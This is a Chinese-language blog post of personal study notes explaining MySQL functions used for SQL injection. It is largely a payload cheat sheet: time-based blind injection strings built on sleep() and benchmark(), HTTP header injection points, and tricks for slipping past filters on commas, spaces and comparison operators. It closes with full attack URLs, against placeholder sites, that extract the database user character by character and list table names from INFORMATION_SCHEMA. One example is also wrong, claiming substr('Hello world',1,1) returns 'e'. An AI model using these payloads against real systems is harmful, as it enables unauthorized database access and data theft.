A-A+

mysql注入常用函数意义意思讲解

2016年03月08日 13:28 学习笔记 暂无评论 阅读 480 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

常用注入语句:

if(left(db_name(),1)='d')waitfor/**/dalay/**/'0:0:2'/**/--
or if(length(database())-8,benchmark(4000000,sha1(1)),1)

(select(0)from(select(sleep(2)))v)

Client-IP: * 注射,。
X-FORWARDED-FOR: * 注射,。

//介绍几个常用函数,都是MYSQL 查询中的使用意义:

1. version()——MySQL版本

2. user()——用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

 

select system_user() 查看系统用户
select current_user() 查询当前用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@basedir 查询MYSQL安装路径

我们可以通过将对应函数放到显示位中查出相应信息

 

//再介绍几个很有用的函数:

1. concat(str1,str2,...)——没有分隔符地连接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

 

 

(sleep(ascii(mid(user()from(2)for(1)))=109))

这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。它:

1) 既没有用到逗号、大小于符号

2) 也没有使用空格

却可以完成数据的猜解工作,但是需要去掉后面的参数只放此语句!

 

比如:

concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)

concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)

group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)

//0x3a是":"的十六进制,在这里把它作为分隔符,没有它,查出来的东西就连成一片了

//在实际查的时候,有些时候可能会出错,比如@@verion_compile_os这个函数就经常出错,去掉就是了。。= =

4。substr() 函数返回字符串的一部分。

示例:substr("Hello world",1,1); 返回e

substr(data,1,1) = 'a'

substring(data,1,1) = 'a'

mid(data,1,1) = 'a'    //以上这几个函数作用都是一样的,都是截取字符

不适用逗号来获取,则变为

substr(data from 1 for 1) = 'a'

5。
ord() 函数返回字符串的首个字符的 ASCII 值。

hex(substr(data,1,1)) = 61  //作用是把字符转换ASCII 值 (十六进制的ASCII 值)

hexdec(hex_string) 函数把十六进制转换为十进制。

ascii(substr(data,1,1)) = 97  //作用是把字符转换ASCII 值 (十进制的ASCII 值)

ord(substr(data,1,1)) = 97  //作用是把字符转换ASCII 值 (十进制的ASCII 值)

6。chr() 函数从指定的 ASCII 值返回字符(ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x。)。

chr(61) = ‘=’ // 十进制

chr(061) = “1” // 八进制值

chr(0x61) = “a” // 十六进制值

7。conv(N,from_base,to_base)函数的目的是将N从某个进制转换成另一个进制。

示例:conv(10,10,36) 表示把10从10进制转换为36进制,结果就是a

8。lower()函数实例代码教程 - 返回根据当前字符集映射所有字符改变为小写,即返回小写的字符串。

示例:lower(conv(10,10,36)) 如果里面的是大写的A,则返回小写的a

9。benchmark(3000000,sha1(1)) 表示执行次数,执行3000000次,查询sha1(1),因为查询次数多所以导致程序运行时间长,可以替换sleep(3),比它好。

1. 通过greatest函数绕过不能使用大小于符号的情况

10。greatest(a,b),返回a和b中较大的那个数。

示例:当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用::

greatest(ascii(mid(user(),1,1)),150)=150 结果是1,如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

ascii(substr(user() from 1 for 1)) < 150

 

11。IFNULL(expr1,expr2)如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。

12。DISTINCT 属于关键词,用于返回唯一不同的值(清除select查询结果的重复值,只保留一个)。

13。count(*) 它返回检索数据库表行的数目, 不论其是否包含 NULL值。一般是建议以count(字段名)查询,会返回多少数值。
count()函数里面的参数是列名的的时候,那么会计算有值项的次数。
Sum()函数里面的参数是列名的时候,是计算列名的值的相加,而不是有值项的总数。

14。CAST (expression AS data_type) 参数说明:
expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。
使用CAST函数进行数据类型转换时,在下列情况下能够被接受:
(1)两个表达式的数据类型完全相同。
(2)两个表达式可隐性转换。
(3)必须显式转换数据类型。

 

15。Mysql的if既可以作为表达式用,也可在存储过程中作为流程控制语句使用,如下是做为表达式使用:

IF表达式 IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

 

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补。

示例:select exp(~(select*from(select user())a))

 

常用的一条time based盲注语句做个总结:

http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109)

这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。

1) 既没有用到逗号、大小于符号

2) 也没有使用空格

http://www.xxx.com/about.php?id=1&lanmu=3 AND (SELECT * FROM (SELECT(IF(ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),6,1))=108,benchmark(10000000,sha1(1)),5)))AaBb)

延时注入,用来爆破每一个CURRENT_USER()字符。

http://www.xxx.com/about.php?id=1&lanmu=3 AND (SELECT * FROM (SELECT(IF(length(CURRENT_USER())=15,benchmark(8000000,sha1(1)),5)))ABab)

延时注入,用来判断用户长度。

SELECT IFNULL( CAST( table_name AS CHAR ) , 0x20 ) FROM INFORMATION_SCHEMA.TABLESWHERE table_schema=0x77656264617461 LIMIT 0 , 1
返回数据库第一个表的名字

SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x77656264617461),1,1))!=50,0,5)))

查询数据表有多少个。

ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x77656264617461 LIMIT 0,1),4,1))>100
返回数据库第一个表的第4个字符的十进制,与100比较是不是比100小

 

1个控制流程操作(select, case, if(), ...)

1个比较操作(=, like, mod(), ...)

1个字符串的猜解(mid(), left(), rpad(), …)

1个字符串生成(0x61, hex(), conv())

 

标签:

给我留言